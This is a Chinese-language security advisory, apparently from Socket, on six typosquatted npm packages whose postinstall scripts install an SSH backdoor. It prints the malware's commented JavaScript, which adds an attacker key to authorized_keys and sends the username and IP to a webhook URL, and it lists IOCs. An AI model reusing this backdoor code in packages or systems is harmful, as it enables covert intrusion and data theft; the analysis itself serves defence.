Socket 的威胁研究团队检测到六个由威胁行为者 “sanchezjosephine180” 发布的恶意 npm 包。这些包通过“名字劫持”(typosquatting)技术模仿了开发者社区中极为流行的库。这些目标库包括 babel-cli
、chokidar
、streamsearch
、ssh2
、npm-run-all
和 node-pty
,它们总下载量达数千万次,是开发者社区不可或缺的一部分。
这些恶意包分别是 babelcl
、chokader
、streamserch
、sss2h
、npmrunnall
和 node-pyt
。这些包通过向 Linux 系统注入后门代码,允许威胁行为者通过 SSH 获得未经授权的访问权限。目前,这些恶意包仍然在线,总下载量已超过 700 次。我们已向 npm 官方请求下架这些包。
威胁行为者利用开发者常见的输入错误,并滥用 postinstall
脚本分发恶意代码,目的是攻击开发者和相关组织。postinstall
脚本在包安装后会自动执行。它先运行 node app.js
,然后安装一个合法的库(例如 npm install streamsearch
),从而掩盖恶意行为。这样一来,合法功能得以呈现,降低了恶意代码被及时发现的可能性。
影响范围
未经授权的 SSH 访问就像在坚固的城堡墙上开了一个隐秘的门。攻击者可以悄无声息地进入,绕过安全措施,在系统内部自由行动,窃取情报,甚至可能危及整个网络的安全。在暗网上,SSH 访问凭据的交易十分活跃,威胁行为者利用这些凭据实施网络攻击和欺诈行为。安全研究人员已记录到攻击者使用 SSH 访问从事间谍活动、非法加密货币挖矿,甚至将其作为勒索软件攻击的入口。一个未经授权的 SSH 密钥不仅打开了一扇门,更为攻击者创建了一条隐蔽的通道,可以轻松渗透并威胁整个组织的数字安全堡垒。
SSH 后门代码
恶意包中的脚本允许威胁行为者通过 SSH 访问受害者系统,暴露敏感信息(如用户名和 IP 地址),并为进一步的恶意活动建立桥头堡。以下是威胁行为者的代码(已去除关键威胁部分并添加注释,以解释恶意功能):
const fs = require('fs');
const os = require('os');
const path = require('path');
const https = require('https');
// 获取当前用户的用户名
const username = os.userInfo().username;
// 获取机器的公网 IP 地址
function getPublicIP() {
return new Promise((resolve, reject) => {
https.get('https://ipinfo[.]io/ip', (res) => {
let data = '';
res.on('data', chunk => {
data += chunk;
});
res.on('end', () => {
resolve(data.trim());
});
}).on('error', (err) => {
reject(err);
});
});
}
// 硬编码的攻击者 SSH 公钥
const publicKey = `ssh-rsa AAAAB3NzaC...`;
// 添加攻击者 SSH 密钥到受害者的 `authorized_keys` 文件中
async function addSSHKey() {
if (os.platform() === 'linux') {
try {
const ipAddress = await getPublicIP();
const fullPublicKey = `${publicKey} ${username}@${ipAddress}`;
const sshDir = path.join(os.homedir(), '.ssh');
const authorizedKeysPath = path.join(sshDir, 'authorized_keys');
if (!fs.existsSync(sshDir)) {
fs.mkdirSync(sshDir, { mode: 0o700 });
}
if (fs.existsSync(authorizedKeysPath)) {
fs.appendFileSync(authorizedKeysPath, `n${fullPublicKey}n`);
} else {
fs.writeFileSync(authorizedKeysPath, `${fullPublicKey}n`, { mode: 0o600 });
}
https.get(`https://webhook-test[.]com/8caf20007640ce1a4d2843af7b479eb1?data=I:${ipAddress}&M:${username}`, () => {});
} catch (err) {}
}
}
addSSHKey();
此恶意脚本在 authorized_keys
文件中添加攻击者的 SSH 密钥,从而授予攻击者系统访问权限,同时通过远程服务器发送用户名和公网 IP 地址,实现数据外泄。脚本静默运行,安装包时自动执行,极难察觉。
命令与控制 (C2)
攻击者通过接收用户名和 IP 地址得知恶意脚本已成功在受害者机器上运行。这些信息帮助攻击者标识受感染的系统,并使用注入的 SSH 密钥建立连接。攻击者利用看似正常的 HTTPS 请求(例如 webhook-test.com)规避基本的网络安全措施。这种服务允许生成独特的 URL 用于接收 HTTP/S 请求,在此案例中则被用于收集受害者数据,同时隐藏攻击者的服务器或 IP 地址,增加追踪难度。
第七个包
除上述六个恶意包外,还有一个名为 parimiko
的包,它模仿了 Python 的流行 SSH 库 paramiko
。尽管 parimiko
当前没有恶意代码,但威胁行为者可能利用它打造合法的假象,为后续分发恶意代码做准备。一旦该包积累了足够多的安装量,未来可能通过更新注入恶意代码。
展望与结论
此次发现表明,软件供应链的安全漏洞问题日益严重。开发者和组织需要高度警惕,加强依赖管理和安全审查。利用像 Socket 提供的实时威胁检测工具,可以帮助防范此类供应链攻击。
MITRE ATT&CK
-
T1195.002 — 供应链妥协:软件供应链攻击 -
T1036.005 — 冒充:模仿合法名称或位置 -
T1059.007 — 命令和脚本解释器:JavaScript -
T1021.004 — 远程服务:SSH -
T1190 — 利用公开服务漏洞 -
T1005 — 从本地系统获取数据 -
T1567.004 — 通过 Web 服务外泄:利用 Webhook
威胁指标 (IOCs)
-
恶意包: -
babelcl
-
chokader
-
streamserch
-
sss2h
-
npmrunnall
-
node-pyt
-
-
命令与控制服务器: -
https://webhook-test[.]com/8caf20007640ce1a4d2843af7b479eb1
-